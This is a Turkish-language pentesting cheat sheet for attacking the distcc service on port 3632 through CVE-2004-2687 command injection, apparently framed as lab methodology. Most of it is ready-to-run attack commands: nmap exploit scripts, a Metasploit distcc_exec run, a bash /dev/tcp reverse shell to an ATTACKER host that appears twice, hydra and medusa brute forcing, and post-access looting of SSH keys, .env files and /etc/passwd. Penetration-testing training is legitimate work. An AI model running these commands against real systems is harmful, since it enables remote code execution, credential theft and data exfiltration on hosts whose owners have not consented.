3632 - Pentesting distcc
distcc rce
distcc uzaktan derleme dağıtır; auth’suz kurulumda komut enjeksiyonu klasik RCE’dir. Hedef lab IP’si üzerinde komutları 3632 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
3632 doğrula.
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distcc sürüm/NSE.
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Komut enjeksiyonu PoC.
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Reverse shell.
nmap -Pn -sV -p3632 TARGETnmap -Pn -p3632 --script distcc-cve2004-2687 TARGETnc -nv TARGET 3632msfconsole -q -x 'use exploit/unix/misc/distcc_exec; set RHOSTS TARGET; set PAYLOAD cmd/unix/reverse; set LHOST ATTACKER; run'nmap -p3632 --script distcc-cve2004-2687 --script-args='distcc-cve2004-2687.cmd=id' TARGETdistcc idbash -i >& /dev/tcp/ATTACKER/443 0>&1distcc_exec → interactive shellDerin enum
Section titled “Derin enum”distcc için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p3632 TARGETnmap -Pn -p3632 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:3632' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',3632));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → distccKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 3632 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3632nmap -p3632 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit distccmsfconsole -q -x 'search distcc; exit'nuclei -u https://TARGET:3632 -t cves/ -silent -severity || truenuclei -u http://TARGET:3632 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 3632printf '' | timeout 3 nc -nv TARGET 3632curl -vk --http1.0 http://TARGET:3632/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”distcc open → CVE-2004-2687 → reverse shell